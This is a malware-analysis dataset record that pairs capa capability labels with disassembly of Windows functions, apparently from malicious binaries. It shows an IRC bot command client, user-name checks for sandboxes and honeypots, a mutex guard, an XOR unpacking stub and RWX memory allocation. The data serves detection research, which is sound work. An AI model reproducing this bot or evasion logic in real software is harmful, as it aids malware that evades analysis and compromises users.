joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401732
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00402daa
pop ecx
test eax, eax
jne 0x401755
or eax, 0xffffffff
jmp 0x40179d
push esi
push 2
pop esi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401784
push 0xfffffffffffffffe
pop eax
jmp 0x40179c
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push 0xfffffffffffffffd
cmp eax, 0xffffffff
pop ecx
cmove esi, ecx
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040319a
leave
ret

Function at 0x401804
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x804
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x800], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x814]
push edi
test esi, esi
je 0x4018b4
mov ebp, 0x800
push ebp
xor edi, edi
lea eax, [esp + 0x14]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push esi
call fcn.004016d4
mov ebx, eax
add esp, 0x10
test ebx, ebx
jle 0x4018b0
cmp edi, 0x7ff
je 0x40188a
push 0
push 1
lea eax, [esp + 0x18]
add eax, edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4018ac
add edi, eax
mov al, byte [esp + edi + 0xf]
cmp al, 0xd
je 0x401886
cmp al, 0xa
je 0x401886
push esi
call fcn.004016d4
mov ebx, eax
pop ecx
test ebx, ebx
jg 0x40184d
test ebx, ebx
jle 0x4018b0
cmp edi, 2
jl 0x401830
dec edi
cmp edi, ebp
jae 0x4018cf
lea eax, [esp + 0x10]
mov byte [esp + edi + 0x10], 0
push eax
push esi
call fcn.00401940
pop ecx
pop ecx
test eax, eax
jns 0x401830
jmp 0x4018b6
xor eax, eax
jmp 0x4018b6
mov eax, ebx
jmp 0x4018b6
mov eax, esi
mov ecx, dword [esp + 0x810]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040319a
add esp, 0x804
ret
call fcn.004032ca
int3

Function at 0x4018d5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
xor esi, esi
cmp byte [eax], 0
je 0x4018f6
push esi
push eax
push esi
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x10]
push 1
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x14]
push 2
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push esi
lea ecx, [ebp + 8]
push ecx
push 0x40279a
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x40193d
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x401f7b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push edi
mov edi, dword [ebp + 0x14]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
jne 0x401fcd
push 0x3f
push str.PASS
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_r_n
jmp 0x4020d0
cmp eax, 1
jne 0x401fdb
push 0x3f
push str.NICK
jmp 0x401fb4
cmp eax, 2
jne 0x402001
push 0x3f
lea eax, [ebp - 0x44]
push str.USER
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_____lol__:_s_r_n
jmp 0x402095
cmp eax, 3
jne 0x40200f
push 0x3f
push str.PONG
jmp 0x401fb4
cmp eax, 4
jne 0x402032
push 0x3f
lea eax, [ebp - 0x44]
push str.JOIN
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push edi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s__s_r_n
jmp 0x402095
cmp eax, 5
jne 0x4020b0
cmp dword [0x40702c], 0
jne 0x4020ab
cmp dword [0x407028], 0
je 0x402079
mov ecx, 0x406128
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402070
test dl, dl
je 0x40206c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402070
add eax, 2
add ecx, 2
test dl, dl
jne 0x402050
xor eax, eax
jmp 0x402075
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020ab
push 0x3f
lea eax, [ebp - 0x44]
push str.PRIVMSG
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push edi
lea eax, [ebp - 0x44]
push eax
push str._s__s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x24
jmp 0x4020e4
xor eax, eax
inc eax
jmp 0x40211d
cmp eax, 6
jne 0x40211b
push 0x3f
lea eax, [ebp - 0x44]
push str.QUIT
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x20
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ecx, [ebp - 0x244]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020fd
push 0
sub ecx, edx
lea eax, [ebp - 0x244]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40211d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040319a
leave
ret

Function at 0x40212b
Capabilities:
Initialize winsock library

Disassembly:
call fcn.0040217b
test eax, eax
jne 0x40213b
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
push esi
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
call fcn.00402e21
call fcn.004015d7
call dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x40217b
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x190]
neg eax
sbb eax, eax
xor ecx, esp
inc eax
call fcn.0040319a
add esp, 0x194
ret

Function at 0x4021b8
Capabilities:
Check for sandbox username or hostname
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x9c
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x24], str.sandbox
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x20], str.honey
push eax
mov dword [ebp - 0x1c], str.vmware
mov dword [ebp - 0x18], str.currentuser
mov dword [ebp - 0x14], str.nepenthes
mov dword [ebp - 0x10], 0x80
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
xor esi, esi
push dword [ebp + esi*4 - 0x24]
lea eax, [ebp - 0xc]
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x40222d
inc esi
cmp esi, 5
jb 0x402212
jmp 0x402230
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
pop esi
call fcn.0040319a
add ebp, 0x78
leave
ret

Function at 0x402240
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.004021b8
test eax, eax
jne 0x40229f
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40229f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x40229f
call fcn.004022a5
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x404293]
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push eax
call fcn.0040212b
xor eax, eax
leave
ret 0x10
Function at 0x402daa
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x402dcf
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402dc8
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x402e38
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor ecx, ecx
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp + 0xc]
mov dword [ebp - 4], ecx
push dword [ebp + 8]
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp + 0x10], 0
mov esi, eax
je 0x402e6f
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402e77
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
pop esi
leave
ret
Function at 0x403b1e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403b5d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403b5d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403b5d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403b5d
cmp dword [ecx + 0x74], 0xe
jbe 0x403b5d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
mov ecx, 0x5ed906d8
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0xe3a3527
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x402ddc
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x402e19
xor eax, eax
mov al, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x402e39
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.0040524c
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x403080
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4030d9
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
call sub.kernel32.dll_GetCommandLineA
lea edx, [ebp - 8]
call fcn.00402f1c
mov dword [ebp - 4], eax
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00402f1c
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x4030c3
inc ebx
jmp 0x4030ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4030e0
lea eax, [ebp - 8]
call fcn.00404fdc
ret

Function at 0x4030e8
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404fdc
test esi, esi
jne 0x40311f
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.004050cc
jmp 0x403140
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402f1c
mov dword [esp], eax
test esi, esi
je 0x403140
cmp dword [ebx], 0
je 0x403140
dec esi
jmp 0x403127
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x403844
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x61d008], 0x8088405
inc edx
mov dword [ebx + 0x61d008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403ef8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x61d024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403f90
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403f70
xor eax, eax
push ebp
push 0x403f69
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403fac
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403f70
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x61d024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x61d024], ax
mov esp, ebp
pop ebp
ret
Function at 0x4075e4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40764a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040524c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004038cc
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x407634
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407651
lea eax, [ebp - 0x10]
call fcn.00404fdc
ret

Function at 0x40af88
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_ReadFile_1
test eax, eax
jne 0x40afb9
mov dword [ebp - 0x10], 0xffffffff
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x40b0d8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004054b8
push eax
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40b0fe
test byte [ebp - 0xc], 0x10
jne 0x40b102
xor eax, eax
jmp 0x40b104
mov al, 1
mov byte [ebp - 5], al
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret

Function at 0x40b37c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004054b8
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov al, byte [ebp - 5]
pop ecx
pop ecx
pop ebp
ret

Function at 0x40b3a4
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.004054b8
push eax
mov eax, dword [ebp - 4]
call fcn.004054b8
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 9], al
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret

Function at 0x40bb6c
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004054b8
push eax
call sub.kernel32.dll_SetCurrentDirectoryA_1
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov al, byte [ebp - 5]
pop ecx
pop ecx
pop ebp
ret

Function at 0x40bb94
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
call fcn.004054b8
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov al, byte [ebp - 5]
pop ecx
pop ecx
pop ebp
ret
Function at 0x40f41c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x110]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x40f464
mov ecx, dword [ebp - 0x10]
dec ecx
lea edx, [ebp - 0x110]
mov eax, dword [ebp + 8]
call fcn.004050cc
jmp 0x40f46f
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
call fcn.00405030
mov esp, ebp
pop ebp
ret 4

Function at 0x40f478
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov byte [ebp - 9], cl
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 2
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40f4a6
mov al, byte [ebp - 0xc]
mov byte [ebp - 0xa], al
jmp 0x40f4ac
mov al, byte [ebp - 9]
mov byte [ebp - 0xa], al
mov al, byte [ebp - 0xa]
mov esp, ebp
pop ebp
ret

Function at 0x4108d8
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4109b6
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00405074
lea eax, [ebp - 0xc]
call fcn.00405508
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004054b8
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4109a0
mov eax, dword [ebp - 0x10]
call fcn.00402b84
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x410999
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004054b8
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x410983
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x4109c4
mov eax, dword [ebp - 0x18]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x410983
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4109a0
mov eax, dword [ebp - 0x18]
call fcn.00402bb4
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4109bd
lea eax, [ebp - 0xc]
call fcn.00404fdc
ret
Function at 0x411260
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4112ca
push dword fs:[eax]
mov dword fs:[eax], esp
push 7
lea eax, [ebp - 0xf]
push eax
push 0x1004
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xf]
mov ecx, 7
call fcn.0040524c
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.0040ab98
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4112d1
lea eax, [ebp - 0x14]
call fcn.00404fdc
ret

Function at 0x412100
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov eax, dword [0x640f48]
cmp dword [eax], 0
je 0x412137
push 0xa
push 0x412190
mov eax, dword [0x640f48]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_FindResourceA
push eax
mov eax, dword [0x640f48]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_LoadResource
mov dword [ebp - 4], eax
jmp 0x412189
xor eax, eax
mov dword [ebp - 4], eax
mov eax, dword [0x641584]
mov eax, dword [eax]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x412189
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push 0xa
push 0x412190
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_FindResourceA
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_LoadResource
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x412189
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41214c
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x42783c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_FindResourceA
mov edx, dword [ebp - 8]
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 0x10], 0
jne 0x427872
push ebp
call fcn.004277cc
pop ecx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_LoadResource
mov edx, dword [ebp - 8]
mov dword [edx + 0x14], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 0x14], 0
jne 0x427898
push ebp
call fcn.004277cc
pop ecx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_SizeofResource
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x14]
push eax
call sub.kernel32.dll_LockResource
mov edx, eax
mov eax, dword [ebp - 8]
pop ecx
call fcn.00427140
mov esp, ebp
pop ebp
ret 4
Function at 0x42e438
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov al, byte [eax + 0xe]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x42e485
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xe], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.0042e1bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x42e49d
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4304c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
cmp dword [0x642890], 0
jne 0x43056d
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 8], eax
mov eax, dword [0x64288c]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, 0x61d6f4
mov ecx, 2
call fcn.00402edc
mov edx, 0x43047c
mov eax, dword [ebp - 8]
add eax, 5
call fcn.0043049c
mov edx, dword [ebp - 8]
mov dword [edx + 6], eax
mov eax, dword [ebp - 8]
add eax, 0xa
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0xe8
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, dword [ebp - 0xc]
call fcn.0043049c
mov edx, dword [ebp - 0xc]
mov dword [edx + 1], eax
mov eax, dword [0x642890]
mov edx, dword [ebp - 0xc]
mov dword [edx + 5], eax
mov eax, dword [ebp - 0xc]
mov dword [0x642890], eax
add dword [ebp - 0xc], 0xd
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 8]
cmp eax, 0xffc
jl 0x430527
mov eax, dword [ebp - 8]
mov dword [0x64288c], eax
mov eax, dword [0x642890]
mov dword [ebp - 4], eax
mov eax, dword [0x642890]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 5]
mov dword [0x642890], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [eax + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [eax + 9], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8